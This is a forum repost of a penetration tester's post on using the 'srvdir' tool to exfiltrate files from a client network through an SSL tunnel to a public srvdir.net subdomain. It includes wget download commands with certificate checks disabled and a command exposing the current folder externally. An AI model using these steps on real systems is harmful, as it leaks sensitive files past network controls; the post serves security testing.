Jump to content
Aerosol

data exfiltration over SSL with srvdir

Recommended Posts


Every now and then I come across some application that may or may not have been developed with penetration testing in mind but it ends up being damn helpful all the same. Yesterday I found a post about ‘srvdir‘ (surv~durr?) which is designed to share content over SSL/TLS via a public site.

When trying to exfiltrate data from a client site I normally spend a lot of time setting up tunnels, using disposable A records from afraid.org and one of my boxes in some east-european cave just so I can get the damn ‘payroll-summary-june-2014.pdf’ trophy off some box that is swimming in ssh-tunnel-fu. srvdir is the perfect answer to this problem and testing it has been awesome and full of those “Why didn’t I think of this?!!” rants.

Essentially, what srvdir does is to create a SSL tunnel to the mothership ‘srvdir.net’ and issue a subdomain that can be accessed externally to siphon the files off. Grabbing files is relatively painless with the odd 404 for the permission snobs. It supports basic http-auth for the paranoid and by the looks of it, tokens as well. It runs seamlessly on Windows, Linux and OSX and is relatively small.


To get the file, use wget:
Windows
wget.exe --no-check-certificate https://dl.srvdir.net/windows_386/srvdir.zip


Mac OSX

wget --no-check-certificate https://dl.srvdir.net/darwin_amd64/srvdir.zip


Linux

wget --no-check-certificate https://dl.srvdir.net/linux_386/srvdir.zip



Unzip the file:

unzip srvdir.zip



Help

./srvdir -h


gUKF0xI.png

Usage:

./srvdir [-auth="username:password"] subdomain:path



Share current folder with custom subdomain

./srvdir norsec0de:.


JZ02ZGa.png
Source

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...